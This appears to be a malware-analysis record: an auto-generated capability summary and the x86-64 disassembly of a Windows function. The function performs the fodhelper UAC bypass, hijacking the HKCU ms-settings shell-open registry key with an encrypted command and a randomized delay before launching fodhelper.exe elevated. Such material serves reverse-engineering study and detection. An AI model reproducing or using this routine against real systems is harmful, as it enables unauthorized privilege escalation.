Function at 0x140003050
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13e0]
mov eax, 0x14e0
call fcn.140020860
sub rsp, rax
mov rax, qword [0x14005d1c0]
xor rax, rsp
mov qword [rbp + 0x13d0], rax
mov rsi, rdx
cmp ecx, 2
jne 0x14000371b
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
lea rdx, str.RegCreateKeyExW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rdx, str.RegSetValueExW
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.ShellExecuteExW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
test r13, r13
je 0x14000371b
test r12, r12
je 0x14000371b
test rax, rax
je 0x14000371b
mov rsi, qword [rsi + 8]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
lea rcx, [rbp + 0x20]
call fcn.140018620
nop
lea rbx, vtable.CryptoPP::AutoSeededRandomPool.0
mov qword [rbp + 0x20], rbx
xor edx, edx
mov r8d, 0x20
lea rcx, [rbp + 0x20]
call fcn.14000c540
nop
mov r8d, 0x10
lea rdx, [rbp + 0x13c0]
lea rcx, [rbp + 0x20]
call fcn.140008320
mov r8d, 0x10
lea rdx, [rbp + 0x13b0]
lea rcx, [rbp + 0x20]
call fcn.140008320
nop
mov qword [rbp + 0x20], rbx
lea rcx, [rbp + 0x20]
call fcn.1400029b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov rdi, 0xffffffffffffffff
mov rbx, rdi
nop dword [rax]
inc rbx
cmp word [rsi + rbx*2], 0
jne 0x1400031d0
movabs r15, 0x7ffffffffffffffe
cmp rbx, r15
ja 0x140003756
cmp rbx, 7
ja 0x140003222
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
add rbx, rbx
mov r8, rbx
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.14003f0f0
xor r14d, r14d
mov word [rsp + rbx + 0x50], r14w
jmp 0x1400032d3
mov rax, rbx
or rax, 7
cmp rax, r15
jbe 0x140003271
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400032a1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003750
mov rcx, rax
call fcn.14001fe40
test rax, rax
je 0x14000375c
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400032a9
mov r15, rax
mov ecx, 0xa
cmp rax, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140003750
add rcx, rcx
jne 0x14000323c
xor r14d, r14d
jmp 0x1400032a9
call fcn.14001fe40
mov r14, rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r15
add rbx, rbx
mov r8, rbx
mov rdx, rsi
mov rcx, r14
call fcn.14003f0f0
xor eax, eax
mov word [rbx + r14], ax
xor r14d, r14d
lea r9, [rbp + 0x13b0]
lea r8, [rbp + 0x13c0]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 8]
call fcn.140002ac0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140003332
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000332d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003762
call fcn.14001fe7c
movdqa xmm0, xmmword [0x1400527e0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r14w
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
call r13
test eax, eax
jne 0x1400036d9
nop word [rax + rax]
lea rdi, [rdi + 1]
cmp word [rsi + rdi*2], 0
jne 0x140003390
lea eax, [rdi*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
lea rdi, [0x140052420]
mov rdx, rdi
mov rcx, qword [rsp + 0x78]
call r12
test eax, eax
je 0x1400033da
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400036d9
lea rcx, [rbp - 8]
cmp qword [rbp + 0x10], 0xf
cmova rcx, qword [rbp - 8]
mov eax, dword [rbp + 8]
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.EncryptedCommand
mov rcx, qword [rsp + 0x78]
call r12
mov rcx, qword [rsp + 0x78]
test eax, eax
je 0x140003422
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400036d9
mov ebx, 2
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.DelegateExecute
call r12
mov rcx, qword [rsp + 0x78]
test eax, eax
je 0x140003457
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400036d9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.14001f840
mov dword [rbp + 0x13a4], 0xffffffff
mov dword [rbp + 0x24], eax
mov edx, 1
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x24], eax
inc rdx
cmp rdx, 0x270
jb 0x140003480
mov edx, 0x270
mov dword [rbp + 0x20], edx
xorps xmm3, xmm3
xorps xmm1, xmm1
movsd xmm2, qword [0x1400527a8]
movsd xmm4, qword [0x1400527c0]
nop dword [rax]
cmp edx, 0x270
jne 0x140003521
lea r8, [rbp + 0x28]
mov r9d, 0x270
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, dword [r8 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and ecx, 0x9908b0df
shr edx, 1
xor ecx, edx
xor ecx, dword [r8 + 0x630]
mov dword [r8 + 0x9bc], ecx
lea r8, [r8 + 4]
sub r9, 1
jne 0x1400034e0
mov edx, dword [rbp + 0x20]
jmp 0x1400035fc
cmp edx, 0x4e0
jb 0x1400035fc
mov r8, r14
mov eax, dword [rbp + r8*4 + 0x9e4]
mov edx, eax
xor edx, dword [rbp + r8*4 + 0x9e8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and ecx, 0x9908b0df
xor ecx, dword [rbp + r8*4 + 0x1018]
shr edx, 1
xor ecx, edx
mov dword [rbp + r8*4 + 0x24], ecx
inc r8
cmp r8, 0xe3
jb 0x140003530
mov r8d, 0xe3
nop dword [rax]
mov eax, dword [rbp + r8*4 + 0x9e4]
mov edx, eax
xor edx, dword [rbp + r8*4 + 0x9e8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and ecx, 0x9908b0df
xor ecx, dword [rbp + r8*4 - 0x368]
shr edx, 1
xor ecx, edx
mov dword [rbp + r8*4 + 0x24], ecx
inc r8
cmp r8, 0x26f
jb 0x140003580
mov edx, dword [rbp + 0x13a0]
and edx, 0x80000000
mov eax, dword [rbp + 0x24]
btr eax, 0x1f
or edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
and ecx, 0x9908b0df
shr edx, 1
xor ecx, edx
xor ecx, dword [rbp + 0x654]
mov dword [rbp + 0x9e0], ecx
mov edx, r14d
mov dword [rbp + 0x20], edx
mov eax, edx
mov ecx, dword [rbp + rax*4 + 0x24]
inc edx
mov dword [rbp + 0x20], edx
mov eax, ecx
shr eax, 0xb
and eax, dword [rbp + 0x13a4]
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm3
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm4
sub rbx, 1
jne 0x1400034c0
divsd xmm1, xmm2
mulsd xmm1, qword [0x1400527a0]
addsd xmm1, qword [0x1400527b0]
mulsd xmm1, qword [0x1400527b8]
cvttsd2si ecx, xmm1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x80], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
mov qword [rbp - 0x1c], rax
mov dword [rbp - 0x14], eax
lea rax, str.runas
mov qword [rbp - 0x70], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x78], r14
mov dword [rbp - 0x50], 1
lea rcx, [rbp - 0x80]
call qword [rsp + 0x70]
test eax, eax
jne 0x1400036df
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, 1
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140003716
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003711
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003768
call fcn.14001fe7c
mov eax, r14d
jmp 0x140003720
mov eax, 1
mov rcx, qword [rbp + 0x13d0]
xor rcx, rsp
call fcn.14001fe10
lea r11, [rsp + 0x14e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001490
int3
call fcn.140001530
int3
call fcn.14002e4d4
nop
call fcn.14002e4d4
nop
call fcn.14002e4d4
int3